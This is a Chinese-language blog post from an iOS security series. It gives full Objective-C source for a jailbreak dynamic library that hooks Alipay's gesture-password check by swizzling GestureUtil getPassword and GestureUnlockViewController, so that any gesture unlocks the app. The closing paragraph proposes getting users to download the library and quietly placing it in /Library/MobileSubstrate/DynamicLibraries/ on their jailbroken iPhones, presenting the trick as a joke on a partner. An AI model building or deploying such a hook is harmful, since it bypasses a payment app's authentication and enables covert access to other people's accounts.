在 iOS安全攻防(十一):Hack实战——探究支付宝app手势密码 中,介绍了如何利用gdb分析app,确定了支付宝app的手势密码格式为字符串,9个点分别对应123456789。在 iOS安全攻防(十二):iOS7的动态库注入 中,介绍了如果利用越狱大神们为我们开辟的iOS7动态库注入方法。
本文将继续深入hack实战,hook支付宝手势密码校验操作,欺骗其通过任意手势输入。
那么到现在为止,我们已经掌握了什么信息呢?
1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势
2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword
思路马上清晰了,我们需要做2步:
1)hook getPassword 存下正确的密码
2)hook gestureInputView:didFinishWithPassword: 替换当前输入为正确的密码
一个关键点,我们是用 Method Swizzling来hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class后,才能进行imp替换。
所以, 我采用NSNotificationCenter通知机制协助完成任务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
#import <objc/runtime.h> #import <UIKit/UIKit.h> IMP ori_getPasswd_IMP = NULL; IMP ori_gesture_IMP = NULL; @interface NSObject (HackPortal) @end @implementation NSObject (HackPortal) + (id)getPassword { NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword)); return passwd; } - (void)gestureInputView:(id)view didFinishWithPassword:(id)password { password = ori_getPasswd_IMP(self, @selector(getPassword)); ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password); } @end @implementation PortalListener - (id)init { self = [super init]; if (self) { [[NSNotificationCenter defaultCenter]addObserver:self selector:@selector(appLaunched:) name:UIApplicationDidBecomeActiveNotification object:nil]; } return self; } - (void)appLaunched:(NSNotification *)notification { Class class_GestureUtil = NSClassFromString(@"GestureUtil"); Class class_PortalListener = NSClassFromString(@"PortalListener"); Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword)); ori_getPasswd_IMP = method_getImplementation(ori_Method); Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword)); method_exchangeImplementations(ori_Method, my_Method); Class class_Gesture = NSClassFromString(@"GestureUnlockViewController"); Method ori_Method1 = class_getInstanceMethod(class_Gesture, @selector(gestureInputView:didFinishWithPassword:)); ori_gesture_IMP = method_getImplementation(ori_Method1); Method my_Method1 = class_getInstanceMethod(class_PortalListener, @selector(gestureInputView:didFinishWithPassword:)); method_exchangeImplementations(ori_Method1, my_Method1); } -(void)dealloc { [[NSNotificationCenter defaultCenter]removeObserver:self]; } @end static void __attribute__((constructor)) initialize(void) { static PortalListener *entrance; entrance = [[PortalListener alloc]init]; } |
OK!编译好动态库,塞进iPhone试试效果吧~
不管我们输入什么手势,都会被替换为正确的密码去给gestureInputView:didFinishWithPassword:验证,然后顺利解锁。
这意味着什么呢?意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的 iPhone的 /Library/MobileSubstrate/DynamicLibraries/ 目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”